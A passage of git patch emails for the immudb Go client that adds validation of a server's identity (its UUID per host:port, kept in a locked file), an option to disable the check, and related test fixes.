hex.EncodeToString(identityHashRaw[:]) + return filepath.Join(identityDir, IDENTITY_FN+identityHash) +} + +func validateServerIdentityInFile(serverIdentity string, serverUUID string, identityDir string) error { + + identityFile := getFilenameForServerIdentity(serverIdentity, identityDir) + + fl, err := lockedfile.OpenFile(identityFile, os.O_RDWR|os.O_CREATE, 0655) + if err != nil { + return fmt.Errorf( + "could not check the identity of the server '%s' in file '%s': %w", + serverIdentity, + identityFile, + err, + ) + } + defer fl.Close() + + identityDataJson := struct { + ServerUUID string `json:"serverUUID"` + ServerIdentity string `json:"serverIdentity"` + }{} + + stat, err := fl.Stat() + if err != nil { + return fmt.Errorf( + "could not check the identity of the server '%s' in file '%s': %w", + serverIdentity, + identityFile, + err, + ) + } + + if stat.Size() == 0 { + // File is empty - which may mean that it was just created, + // write the new identity data + identityDataJson.ServerUUID = serverUUID + identityDataJson.ServerIdentity = serverIdentity + + enc := json.NewEncoder(fl) + enc.SetIndent("", "\t") + + err := enc.Encode(&identityDataJson) + if err != nil { + return fmt.Errorf( + "could not store the identity of the server '%s' in file '%s': %w", + serverIdentity, + identityFile, + err, + ) + } + + err = fl.Close() + if err != nil { + return fmt.Errorf( + "could not store the identity of the server '%s' in file '%s': %w", + serverIdentity, + identityFile, + err, + ) + } + + return nil + } + + // File exists and is not empty, check if the server UUID matches + // what is already stored in the file. + err = json.NewDecoder(fl).Decode(&identityDataJson) + if err != nil { + return fmt.Errorf( + "could not check the identity of the server '%s' in file '%s': %w, "+ + "if you still want to connect to a different immudb server instance with the same identity, "+ + "please remove the identity file", + serverIdentity, + identityFile, + err, + ) + } + + if identityDataJson.ServerUUID != serverUUID { + return fmt.Errorf( + "could not check the identity of the server '%s' in file '%s': %w, "+ + "if you still want to connect to a different immudb server instance with the same identity, "+ + "please remove the identity file", + serverIdentity, + identityFile, + ErrServerIdentityValidationFailed, + ) + } + + return nil +} diff --git a/pkg/client/cache/common_test.go b/pkg/client/cache/common_test.go new file mode 100644 index 0000000000..277efa1340 --- /dev/null +++ b/pkg/client/cache/common_test.go @@ -0,0 +1,79 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package cache + +import ( + "encoding/json" + "io/ioutil" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestValidateServerIdentityInFile(t *testing.T) { + identityDir := t.TempDir() + + t.Run("creating new identity files must not fail", func(t *testing.T) { + err := validateServerIdentityInFile("identity1", "uuid1", identityDir) + require.NoError(t, err) + + err = validateServerIdentityInFile("identity2", "uuid2", identityDir) + require.NoError(t, err) + }) + + t.Run("validating server identity for already known server must not fail", func(t *testing.T) { + err := validateServerIdentityInFile("identity1", "uuid1", identityDir) + require.NoError(t, err) + + err = validateServerIdentityInFile("identity2", "uuid2", identityDir) + require.NoError(t, err) + }) + + t.Run("validating server identity for wrong server must fail", func(t *testing.T) { + err := validateServerIdentityInFile("identity1", "uuid2", identityDir) + require.ErrorIs(t, err, ErrServerIdentityValidationFailed) + + err = validateServerIdentityInFile("identity2", "uuid1", identityDir) + require.ErrorIs(t, err, ErrServerIdentityValidationFailed) + }) + +} + +func TestValidateServerIdentityInFileCornerCases(t *testing.T) { + t.Run("fail to validate identity file with invalid path", func(t *testing.T) { + err := validateServerIdentityInFile("identity1", "uuid1", "/invalid/folder/name?") + require.Error(t, err) + // This is not validation error, it's some OS error + require.NotErrorIs(t, err, ErrServerIdentityValidationFailed) + }) + + t.Run("fail to validate identity file with broken content", func(t *testing.T) { + identityDir := t.TempDir() + + err := ioutil.WriteFile( + getFilenameForServerIdentity("identity1", identityDir), + []byte("this is not a json content!!!"), + 0644, + ) + require.NoError(t, err) + + err = validateServerIdentityInFile("identity1", "uuid1", identityDir) + var jsonError *json.SyntaxError + require.ErrorAs(t, err, &jsonError) + require.NotErrorIs(t, err, ErrServerIdentityValidationFailed) + }) +} diff --git a/pkg/client/cache/file_cache.go b/pkg/client/cache/file_cache.go index c8cd54d448..38dd6fcc4f 100644 --- a/pkg/client/cache/file_cache.go +++ b/pkg/client/cache/file_cache.go @@ -139,6 +139,14 @@ func (w *fileCache) Unlock() (err error) { return nil } +func (w *fileCache) ServerIdentityCheck(serverIdentity, serverUUID string) error { + return validateServerIdentityInFile( + serverIdentity, + serverUUID, + w.Dir, + ) +} + func (w *fileCache) getStateFilePath(UUID string) string { return filepath.Join(w.Dir, STATE_FN+UUID) } diff --git a/pkg/client/cache/history_file_cache.go b/pkg/client/cache/history_file_cache.go index a4fda772a4..84ecbfa7c5 100644 --- a/pkg/client/cache/history_file_cache.go +++ b/pkg/client/cache/history_file_cache.go @@ -162,10 +162,18 @@ func (history *historyFileCache) unmarshalRoot(fpath string, db string) (*schema return nil, nil } -func (fl *historyFileCache) Lock(serverUUID string) (err error) { +func (history *historyFileCache) Lock(serverUUID string) (err error) { return fmt.Errorf("not implemented") } -func (fl *historyFileCache) Unlock() (err error) { +func (history *historyFileCache) Unlock() (err error) { return fmt.Errorf("not implemented") } + +func (history *historyFileCache) ServerIdentityCheck(serverIdentity, serverUUID string) error { + return validateServerIdentityInFile( + serverIdentity, + serverUUID, + history.dir, + ) +} diff --git a/pkg/client/cache/inmemory_cache.go b/pkg/client/cache/inmemory_cache.go index c09acfc327..a81308aee6 100644 --- a/pkg/client/cache/inmemory_cache.go +++ b/pkg/client/cache/inmemory_cache.go @@ -24,15 +24,16 @@ import ( ) type inMemoryCache struct { - states map[string]map[string]*schema.ImmutableState - lock *sync.RWMutex + serverUUID string + states map[string]map[string]*schema.ImmutableState + identities map[string]string + lock sync.RWMutex } // NewInMemoryCache returns a new in-memory cache func NewInMemoryCache() Cache { return &inMemoryCache{ states: map[string]map[string]*schema.ImmutableState{}, - lock: new(sync.RWMutex), } } @@ -60,10 +61,26 @@ func (imc *inMemoryCache) Set(serverUUID, db string, state *schema.ImmutableStat return nil } -func (fl *inMemoryCache) Lock(serverUUID string) (err error) { +func (imc *inMemoryCache) Lock(serverUUID string) (err error) { return fmt.Errorf("not implemented") } -func (fl *inMemoryCache) Unlock() (err error) { +func (imc *inMemoryCache) Unlock() (err error) { return fmt.Errorf("not implemented") } + +func (imc *inMemoryCache) ServerIdentityCheck(serverIdentity, serverUUID string) error { + imc.lock.Lock() + defer imc.lock.Unlock() + + if previousUUID, ok := imc.identities[serverIdentity]; ok { + // Server with this identity was seen before, ensure it did not change + if previousUUID != serverUUID { + return ErrServerIdentityValidationFailed + } + return nil + } + + imc.identities[serverIdentity] = serverUUID + return nil +} From cade04756ff3f0a3b9e8d24149062744574adf5d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Mon, 12 Sep 2022 15:37:33 +0200 Subject: [PATCH 0015/1062] fix(pkg/client/cache): Validate server's identity MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Ensure the server UUID can not easily change for the same host:port tuple. Signed-off-by: Bartłomiej Święcki --- pkg/client/client.go | 23 +++++++++++++++-- pkg/client/options.go | 40 ++++++++++++++++------------ pkg/client/options_test.go | 53 ++++++++++++++++++++------------------ pkg/client/session.go | 13 +++++++++- 4 files changed, 85 insertions(+), 44 deletions(-) diff --git a/pkg/client/client.go b/pkg/client/client.go index 493c2bbd11..1941d81562 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -592,9 +592,28 @@ func NewImmuClient(options *Options) (*immuClient, error) { } stateProvider := state.NewStateProvider(serviceClient) - uuidProvider := state.NewUUIDProvider(serviceClient) + serverUUID, err := state.NewUUIDProvider(serviceClient).CurrentUUID(context.Background()) + if err != nil { + return nil, logErr(l, "Unable to get server uuid: %s", err) + } + + stateCache := cache.NewFileCache(c.Options.Dir) + if !c.Options.DisableIdentityCheck { + err = stateCache.ServerIdentityCheck( + fmt.Sprintf("%s:%d", c.Options.Address, c.Options.Port), + serverUUID, + ) + if err != nil { + return nil, logErr(l, "Unable to validate server identity: %s", err) + } + } - stateService, err := state.NewStateService(cache.NewFileCache(options.Dir), l, stateProvider, uuidProvider) + stateService, err := state.NewStateServiceWithUUID( + stateCache, + l, + stateProvider, + serverUUID, + ) if err != nil { return nil, logErr(l, "Unable to create state service: %s", err) } diff --git a/pkg/client/options.go b/pkg/client/options.go index 89b953fe74..57dd785fd0 100644 --- a/pkg/client/options.go +++ b/pkg/client/options.go @@ -59,27 +59,30 @@ type Options struct { StreamChunkSize int // Maximum size of a data chunk in bytes for streaming operations (directly affects maximum GRPC packet size) HeartBeatFrequency time.Duration // Duration between two consecutive heartbeat calls to the server for session heartbeats + + DisableIdentityCheck bool // Do not validate server's identity } // DefaultOptions ... func DefaultOptions() *Options { return &Options{ - Dir: ".", - Address: "127.0.0.1", - Port: 3322, - HealthCheckRetries: 5, - MTLs: false, - Auth: true, - MaxRecvMsgSize: 4 * 1024 * 1024, //4Mb - Config: "configs/immuclient.toml", - DialOptions: []grpc.DialOption{grpc.WithInsecure()}, - PasswordReader: c.DefaultPasswordReader, - Metrics: true, - PidPath: "", - LogFileName: "", - ServerSigningPubKey: "", - StreamChunkSize: stream.DefaultChunkSize, - HeartBeatFrequency: time.Minute * 1, + Dir: ".", + Address: "127.0.0.1", + Port: 3322, + HealthCheckRetries: 5, + MTLs: false, + Auth: true, + MaxRecvMsgSize: 4 * 1024 * 1024, //4Mb + Config: "configs/immuclient.toml", + DialOptions: []grpc.DialOption{grpc.WithInsecure()}, + PasswordReader: c.DefaultPasswordReader, + Metrics: true, + PidPath: "", + LogFileName: "", + ServerSigningPubKey: "", + StreamChunkSize: stream.DefaultChunkSize, + HeartBeatFrequency: time.Minute * 1, + DisableIdentityCheck: false, } } @@ -216,6 +219,11 @@ func (o *Options) WithHeartBeatFrequency(heartBeatFrequency time.Duration) *Opti return o } +func (o *Options) WithDisableIdentityCheck(disableIdentityCheck bool) *Options { + o.DisableIdentityCheck = disableIdentityCheck + return o +} + // String converts options object to a json string func (o *Options) String() string { optionsJSON, err := json.Marshal(o) diff --git a/pkg/client/options_test.go b/pkg/client/options_test.go index 61dc1c6674..56d43a7141 100644 --- a/pkg/client/options_test.go +++ b/pkg/client/options_test.go @@ -18,6 +18,8 @@ package client import ( "testing" + + "github.com/stretchr/testify/require" ) func TestOptions(t *testing.T) { @@ -43,30 +45,31 @@ func TestOptions(t *testing.T) { WithUsername("some-username"). WithPassword("some-password"). WithDatabase("some-db"). - WithStreamChunkSize(4096) + WithStreamChunkSize(4096). + WithDisableIdentityCheck(true) + + require.Equal(t, op.LogFileName, "logfilename") + require.Equal(t, op.PidPath, "pidpath") + require.True(t, op.Metrics) + require.Equal(t, op.Dir, "clientdir") + require.Equal(t, op.Address, "127.0.0.1") + require.Equal(t, op.Port, 4321) + require.Equal(t, op.HealthCheckRetries, 3) + require.True(t, op.MTLs) + require.Equal(t, op.MTLsOptions.Servername, "localhost") + require.Equal(t, op.MTLsOptions.Certificate, "no-certificate") + require.Equal(t, op.MTLsOptions.ClientCAs, "no-client-ca") + require.Equal(t, op.MTLsOptions.Pkey, "no-pkey") + require.True(t, op.Auth) + require.Equal(t, op.MaxRecvMsgSize, 1<<20) + require.Equal(t, op.Config, "configfile") + require.Equal(t, op.TokenFileName, "tokenfile") + require.Equal(t, op.Username, "some-username") + require.Equal(t, op.Password, "some-password") + require.Equal(t, op.Database, "some-db") + require.Equal(t, op.StreamChunkSize, 4096) + require.True(t, op.DisableIdentityCheck) + require.Equal(t, op.Bind(), "127.0.0.1:4321") + require.NotEmpty(t, op.String()) - if op.LogFileName != "logfilename" || - op.PidPath != "pidpath" || - !op.Metrics || - op.Dir != "clientdir" || - op.Address != "127.0.0.1" || - op.Port != 4321 || - op.HealthCheckRetries != 3 || - !op.MTLs || - op.MTLsOptions.Servername != "localhost" || - op.MTLsOptions.Certificate != "no-certificate" || - op.MTLsOptions.ClientCAs != "no-client-ca" || - op.MTLsOptions.Pkey != "no-pkey" || - !op.Auth || - op.MaxRecvMsgSize != 1<<20 || - op.Config != "configfile" || - op.TokenFileName != "tokenfile" || - op.Username != "some-username" || - op.Password != "some-password" || - op.Database != "some-db" || - op.StreamChunkSize != 4096 || - op.Bind() != "127.0.0.1:4321" || - len(op.String()) == 0 { - t.Fatal("Client options fail") - } } diff --git a/pkg/client/session.go b/pkg/client/session.go index 5c3966ab80..fa4b4aacaf 100644 --- a/pkg/client/session.go +++ b/pkg/client/session.go @@ -63,9 +63,20 @@ func (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, } }() + stateCache := cache.NewFileCache(c.Options.Dir) + if !c.Options.DisableIdentityCheck { + err = stateCache.ServerIdentityCheck( + fmt.Sprintf("%s:%d", c.Options.Address, c.Options.Port), + resp.GetServerUUID(), + ) + if err != nil { + return err + } + } + stateProvider := state.NewStateProvider(serviceClient) - stateService, err := state.NewStateServiceWithUUID(cache.NewFileCache(c.Options.Dir), c.Logger, stateProvider, resp.GetServerUUID()) + stateService, err := state.NewStateServiceWithUUID(stateCache, c.Logger, stateProvider, resp.GetServerUUID()) if err != nil { return errors.FromError(fmt.Errorf("unable to create state service: %v", err)) } From 60d8876fa4d30281506534328f9e9c7cfc01ee23 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 19 Oct 2022 10:42:46 +0200 Subject: [PATCH 0016/1062] feat(pkg/replication): Disable server's identity check in internal replication MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- pkg/replication/replicator.go | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 916d20c848..eac17c29aa 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -253,7 +253,10 @@ func (txr *TxReplicator) connect() error { txr.opts.primaryPort, txr.db.GetName()) - opts := client.DefaultOptions().WithAddress(txr.opts.primaryHost).WithPort(txr.opts.primaryPort) + opts := client.DefaultOptions(). + WithAddress(txr.opts.primaryHost). + WithPort(txr.opts.primaryPort). + WithDisableIdentityCheck(true) txr.client = client.NewClient().WithOptions(opts) err := txr.client.OpenSession( From 71fec9ada1100bbf9e4e387532048ac896647704 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 18 Oct 2022 11:46:11 +0200 Subject: [PATCH 0017/1062] fix(pkg/server/servertest): Add uuid to buffconn server MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- pkg/server/servertest/server.go | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/pkg/server/servertest/server.go b/pkg/server/servertest/server.go index 759b2a02b5..3b544537b9 100644 --- a/pkg/server/servertest/server.go +++ b/pkg/server/servertest/server.go @@ -26,6 +26,7 @@ import ( "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" + "github.com/rs/xid" "google.golang.org/grpc" "github.com/codenotary/immudb/pkg/server" @@ -53,13 +54,27 @@ type BufconnServer struct { func NewBufconnServer(options *server.Options) *BufconnServer { options.Port = 0 immuserver := server.DefaultServer().WithOptions(options).(*server.ImmuServer) + + uuidContext := server.NewUUIDContext(xid.New()) + bs := &BufconnServer{ quit: make(chan struct{}), Lis: bufconn.Listen(bufSize), Options: options, GrpcServer: grpc.NewServer( - grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer(server.ErrorMapper, immuserver.KeepAliveSessionInterceptor, auth.ServerUnaryInterceptor, immuserver.SessionAuthInterceptor)), - grpc.StreamInterceptor(grpc_middleware.ChainStreamServer(server.ErrorMapperStream, immuserver.KeepALiveSessionStreamInterceptor, auth.ServerStreamInterceptor)), + grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer( + server.ErrorMapper, + immuserver.KeepAliveSessionInterceptor, + uuidContext.UUIDContextSetter, + auth.ServerUnaryInterceptor, + immuserver.SessionAuthInterceptor, + )), + grpc.StreamInterceptor(grpc_middleware.ChainStreamServer( + server.ErrorMapperStream, + immuserver.KeepALiveSessionStreamInterceptor, + uuidContext.UUIDStreamContextSetter, + auth.ServerStreamInterceptor, + )), ), immuServer: immuserver, Server: &ServerMock{Srv: immuserver}, From 384dea4adcd652c2f8a1ea709ebb14be49321ee6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 8 Nov 2022 09:27:15 +0100 Subject: [PATCH 0018/1062] fix(pkg/server/servertest): Fix resetting grpc connection MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Correctly set the UUID context setter when resetting the grpc connection * Do not setup grpc connection too early * Allow reading and changing server's exposed uuid Signed-off-by: Bartłomiej Święcki --- pkg/server/servertest/server.go | 38 ++++++++++++++++----------------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/pkg/server/servertest/server.go b/pkg/server/servertest/server.go index 3b544537b9..ff8f8ea192 100644 --- a/pkg/server/servertest/server.go +++ b/pkg/server/servertest/server.go @@ -47,6 +47,7 @@ type BufconnServer struct { GrpcServer *grpc.Server Dialer BuffDialer quit chan struct{} + uuid xid.ID } // NewBuffconnServer creates new test server instance that uses grpc's buffconn connection method @@ -55,45 +56,44 @@ func NewBufconnServer(options *server.Options) *BufconnServer { options.Port = 0 immuserver := server.DefaultServer().WithOptions(options).(*server.ImmuServer) - uuidContext := server.NewUUIDContext(xid.New()) + uuid := xid.New() bs := &BufconnServer{ - quit: make(chan struct{}), - Lis: bufconn.Listen(bufSize), - Options: options, - GrpcServer: grpc.NewServer( - grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer( - server.ErrorMapper, - immuserver.KeepAliveSessionInterceptor, - uuidContext.UUIDContextSetter, - auth.ServerUnaryInterceptor, - immuserver.SessionAuthInterceptor, - )), - grpc.StreamInterceptor(grpc_middleware.ChainStreamServer( - server.ErrorMapperStream, - immuserver.KeepALiveSessionStreamInterceptor, - uuidContext.UUIDStreamContextSetter, - auth.ServerStreamInterceptor, - )), - ), + quit: make(chan struct{}), + Lis: bufconn.Listen(bufSize), + Options: options, immuServer: immuserver, Server: &ServerMock{Srv: immuserver}, + uuid: uuid, } + return bs } +func (bs *BufconnServer) GetUUID() xid.ID { + return bs.uuid +} + +func (bs *BufconnServer) SetUUID(id xid.ID) { + bs.uuid = id +} + func (bs *BufconnServer) setupGrpcServer() { + uuidContext := server.NewUUIDContext(bs.uuid) + bs.GrpcServer = grpc.NewServer( grpc.UnaryInterceptor(grpc_middleware.ChainUnaryServer( server.ErrorMapper, bs.immuServer.KeepAliveSessionInterceptor, + uuidContext.UUIDContextSetter, auth.ServerUnaryInterceptor, bs.immuServer.SessionAuthInterceptor, )), grpc.StreamInterceptor(grpc_middleware.ChainStreamServer( server.ErrorMapperStream, bs.immuServer.KeepALiveSessionStreamInterceptor, + uuidContext.UUIDStreamContextSetter, auth.ServerStreamInterceptor, )), ) From be2a358302e21ddb71eb0e6042d1a63f3771b377 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 8 Nov 2022 10:14:08 +0100 Subject: [PATCH 0019/1062] test: Fix after uuid validation was introduced MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * For backup/restore tests ensure the server is using the same uuid when restarted after data restore * For stdlib tests change current directory to a temporary folder * For replication tests ensure the client is using a temporary folder Signed-off-by: Bartłomiej Święcki --- cmd/immuclient/cli/cli_test.go | 3 + pkg/integration/client_test.go | 133 ++++++++++--------- pkg/integration/follower_replication_test.go | 8 +- pkg/stdlib/uri_test.go | 23 ++++ 4 files changed, 99 insertions(+), 68 deletions(-) diff --git a/cmd/immuclient/cli/cli_test.go b/cmd/immuclient/cli/cli_test.go index 4cab5823c8..235d475a66 100644 --- a/cmd/immuclient/cli/cli_test.go +++ b/cmd/immuclient/cli/cli_test.go @@ -139,6 +139,7 @@ func TestImmuClient_BackupAndRestoreUX(t *testing.T) { options := server.DefaultOptions().WithDir(dir) bs := servertest.NewBufconnServer(options) + uuid := bs.GetUUID() err := bs.Start() require.NoError(t, err) @@ -177,6 +178,7 @@ func TestImmuClient_BackupAndRestoreUX(t *testing.T) { bs = servertest.NewBufconnServer(options) require.NoError(t, err) + bs.SetUUID(uuid) err = bs.Start() require.NoError(t, err) @@ -212,6 +214,7 @@ func TestImmuClient_BackupAndRestoreUX(t *testing.T) { bs = servertest.NewBufconnServer(options) require.NoError(t, err) + bs.SetUUID(uuid) err = bs.Start() require.NoError(t, err) diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index 37f1030620..ca52c1d1f9 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -26,6 +26,7 @@ import ( "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" + "github.com/rs/xid" ic "github.com/codenotary/immudb/pkg/client" immuErrors "github.com/codenotary/immudb/pkg/client/errors" @@ -63,7 +64,7 @@ var testData = struct { func setupTestServerAndClient(t *testing.T) (*servertest.BufconnServer, ic.ImmuClient, context.Context) { bs := servertest.NewBufconnServer(server. DefaultOptions(). - WithDir(t.TempDir()). + WithDir(filepath.Join(t.TempDir(), "data")). WithAuth(true). WithSigningKey("./../../test/signer/ec1.key"), ) @@ -1472,89 +1473,93 @@ func TestImmuClient_VerifiedGetSince(t *testing.T) { require.NoError(t, err) require.Equal(t, []byte(`key1`), entry2.Key) require.Equal(t, []byte(`val2`), entry2.Value) - client.Disconnect() } func TestImmuClient_BackupAndRestoreUX(t *testing.T) { - bs, client, ctx := setupTestServerAndClient(t) - _, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`)) - require.NoError(t, err) - - _, err = client.VerifiedSet(ctx, []byte(`key2`), []byte(`val2`)) - require.NoError(t, err) + var ( + uuid xid.ID + serverOpts *server.Options + stateFileDir = t.TempDir() + dirAtTx3 = filepath.Join(t.TempDir(), "data") + copier = fs.NewStandardCopier() + ) - _, err = client.VerifiedSet(ctx, []byte(`key3`), []byte(`val3`)) - require.NoError(t, err) + // Setup the initial test server outside t.Run to ensure the main data folder + // is present during whole test + bs, client, ctx := setupTestServerAndClient(t) - _, err = client.VerifiedGet(ctx, []byte(`key3`)) - require.NoError(t, err) - client.Disconnect() - bs.Stop() + t.Run("write initial 3 Txs", func(t *testing.T) { + uuid = bs.GetUUID() + serverOpts = bs.Options + defer bs.Stop() + defer client.CloseSession(context.Background()) - copier := fs.NewStandardCopier() - dirAtTx3 := filepath.Join(t.TempDir(), "data") - err = copier.CopyDir(bs.Options.Dir, dirAtTx3) - require.NoError(t, err) + _, err := client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`)) + require.NoError(t, err) - bs = servertest.NewBufconnServer(bs.Options) - err = bs.Start() - require.NoError(t, err) + _, err = client.VerifiedSet(ctx, []byte(`key2`), []byte(`val2`)) + require.NoError(t, err) - stateFileDir := t.TempDir() - cliOpts := ic. - DefaultOptions(). - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}). - WithDir(stateFileDir) - cliOpts.CurrentDatabase = ic.DefaultDB - client, err = ic.NewImmuClient(cliOpts) - require.NoError(t, err) + _, err = client.VerifiedSet(ctx, []byte(`key3`), []byte(`val3`)) + require.NoError(t, err) - lr, err := client.Login(context.TODO(), []byte(`immudb`), []byte(`immudb`)) - require.NoError(t, err) + _, err = client.VerifiedGet(ctx, []byte(`key3`)) + require.NoError(t, err) - md := metadata.Pairs("authorization", lr.Token) - ctx = metadata.NewOutgoingContext(context.Background(), md) + err = client.CloseSession(context.Background()) + require.NoError(t, err) - _, err = client.VerifiedSet(ctx, []byte(`key1`), []byte(`val1`)) - require.NoError(t, err) - _, err = client.VerifiedSet(ctx, []byte(`key2`), []byte(`val2`)) - require.NoError(t, err) - _, err = client.VerifiedSet(ctx, []byte(`key3`), []byte(`val3`)) - require.NoError(t, err) - _, err = client.VerifiedGet(ctx, []byte(`key3`)) - require.NoError(t, err) - err = client.Disconnect() - require.NoError(t, err) + err = bs.Stop() + require.NoError(t, err) + }) - bs.Stop() + t.Run("preserve data at Tx 3", func(t *testing.T) { + err := copier.CopyDir(serverOpts.Dir, dirAtTx3) + require.NoError(t, err) + }) - os.RemoveAll(bs.Options.Dir) - err = copier.CopyDir(dirAtTx3, bs.Options.Dir) - require.NoError(t, err) + t.Run("add some more transactions to the database", func(t *testing.T) { + bs := servertest.NewBufconnServer(serverOpts) + bs.SetUUID(uuid) + err := bs.Start() + require.NoError(t, err) + defer bs.Stop() - bs = servertest.NewBufconnServer(bs.Options) - err = bs.Start() - require.NoError(t, err) + client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(stateFileDir)) + require.NoError(t, err) + defer client.CloseSession(context.Background()) - cliOpts = ic. - DefaultOptions(). - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}). - WithDir(stateFileDir) - cliOpts.CurrentDatabase = ic.DefaultDB - client, err = ic.NewImmuClient(cliOpts) - require.NoError(t, err) + _, err = client.VerifiedSet(context.Background(), []byte(`key1`), []byte(`val1`)) + require.NoError(t, err) + _, err = client.VerifiedSet(context.Background(), []byte(`key2`), []byte(`val2`)) + require.NoError(t, err) + _, err = client.VerifiedSet(context.Background(), []byte(`key3`), []byte(`val3`)) + require.NoError(t, err) + _, err = client.VerifiedGet(context.Background(), []byte(`key3`)) + require.NoError(t, err) + err = bs.Stop() + require.NoError(t, err) + }) - lr, err = client.Login(context.TODO(), []byte(`immudb`), []byte(`immudb`)) - require.NoError(t, err) + t.Run("clients will fail after restoring older dataset", func(t *testing.T) { + os.RemoveAll(serverOpts.Dir) + err := copier.CopyDir(dirAtTx3, serverOpts.Dir) + require.NoError(t, err) - md = metadata.Pairs("authorization", lr.Token) - ctx = metadata.NewOutgoingContext(context.Background(), md) + bs := servertest.NewBufconnServer(serverOpts) + bs.SetUUID(uuid) + err = bs.Start() + require.NoError(t, err) + defer bs.Stop() - _, err = client.VerifiedGet(ctx, []byte(`key3`)) - require.ErrorIs(t, err, ic.ErrServerStateIsOlder) + client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(stateFileDir)) + require.NoError(t, err) + defer client.CloseSession(context.Background()) - bs.Stop() + _, err = client.VerifiedGet(context.Background(), []byte(`key3`)) + require.ErrorIs(t, err, ic.ErrServerStateIsOlder) + }) } type HomedirServiceMock struct { diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index c82a1d420f..d47b00584a 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -83,7 +83,7 @@ func TestReplication(t *testing.T) { // init primary client primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port - primaryClient, err := ic.NewImmuClient(ic.DefaultOptions().WithPort(primaryPort)) + primaryClient, err := ic.NewImmuClient(ic.DefaultOptions().WithDir(t.TempDir()).WithPort(primaryPort)) require.NoError(t, err) require.NotNil(t, primaryClient) @@ -117,7 +117,7 @@ func TestReplication(t *testing.T) { // init replica client replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port - replicaClient, err := ic.NewImmuClient(ic.DefaultOptions().WithPort(replicaPort)) + replicaClient, err := ic.NewImmuClient(ic.DefaultOptions().WithDir(t.TempDir()).WithPort(replicaPort)) require.NoError(t, err) require.NotNil(t, replicaClient) @@ -217,7 +217,7 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { // init primary client primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port - primaryClient := ic.NewClient().WithOptions(ic.DefaultOptions().WithPort(primaryPort)) + primaryClient := ic.NewClient().WithOptions(ic.DefaultOptions().WithDir(t.TempDir()).WithPort(primaryPort)) require.NotNil(t, primaryClient) err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") @@ -261,7 +261,7 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { // init replica client replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port - replicaClient := ic.NewClient().WithOptions(ic.DefaultOptions().WithPort(replicaPort)) + replicaClient := ic.NewClient().WithOptions(ic.DefaultOptions().WithDir(t.TempDir()).WithPort(replicaPort)) require.NotNil(t, replicaClient) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") diff --git a/pkg/stdlib/uri_test.go b/pkg/stdlib/uri_test.go index 34428760bc..7a35ba8cf3 100644 --- a/pkg/stdlib/uri_test.go +++ b/pkg/stdlib/uri_test.go @@ -21,6 +21,7 @@ import ( "database/sql" "fmt" "net" + "os" "testing" "time" @@ -51,7 +52,19 @@ func testServer(t *testing.T) (port int, cleanup func()) { return port, func() { server.Stop() } } +func setTempCwd(t *testing.T) { + origDir, err := os.Getwd() + require.NoError(t, err) + + err = os.Chdir(t.TempDir()) + require.NoError(t, err) + + t.Cleanup(func() { os.Chdir(origDir) }) +} + func TestDriver_Open(t *testing.T) { + setTempCwd(t) + d := immuDriver conn, err := 